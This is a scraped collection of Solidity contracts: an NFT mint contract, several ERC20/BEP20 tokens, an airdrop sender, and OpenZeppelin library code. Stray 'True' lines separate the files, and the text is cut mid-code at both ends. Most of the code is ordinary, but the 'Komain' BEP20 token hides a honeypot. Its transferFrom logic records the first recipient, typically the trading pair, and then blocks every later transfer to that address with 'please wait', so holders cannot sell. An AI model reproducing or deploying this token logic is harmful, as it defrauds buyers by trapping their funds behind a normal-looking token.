``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract LeapinLeprechauns is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.000 ether; uint256 public maxSupply = 4980; uint256 public maxMintAmount = 20; bool public paused = false; bool public revealed = false; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner() { revealed = true; } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-06-07 */ /* Supply: 1.000.000.000.000 🔥 0% Burn 🔃 7-24% Redistribution 🍴 Myobu Fork */ pragma solidity ^0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract BEP20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = " Komain "; name = "komainu.finance"; decimals = 8; _totalSupply = 1000000 * 10**6 * 10**8; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } /** function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } } */ contract Komain is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } } /** interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } */
True
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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // &#39;AVTC&#39; token contract // // Deployed to : 0x056b7a4842F137a51447f42F23eC3b61d78DBDCC // Symbol : AVTC // Name : Aviate Coin // Total supply: 50000000000000000 // Decimals : 8 // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract AvtcToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function AvtcToken() public { symbol = "AVTC"; name = "AviateCoin"; decimals = 8; _totalSupply = 50000000000000000; balances[0x056b7a4842F137a51447f42F23eC3b61d78DBDCC] = _totalSupply; Transfer(address(0), 0x056b7a4842F137a51447f42F23eC3b61d78DBDCC, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner&#39;s account to to account // - Owner&#39;s account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner&#39;s account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner&#39;s account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don&#39;t accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
True
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pragma solidity ^0.4.24; contract Ownable { address public owner; constructor () public { owner = 0xCfBbef59AC2620271d8C8163a294A04f0b31Ef3f; } modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract TokenERC20 { function transfer(address _to, uint256 _value) public; } contract SensusTokenSender is Ownable { function drop(TokenERC20 token, address[] to, uint256[] value) onlyOwner public { for (uint256 i = 0; i < to.length; i++) { token.transfer(to[i], value[i]); } } }
True
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/** *Submitted for verification at Etherscan.io on 2021-06-01 */ // SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, 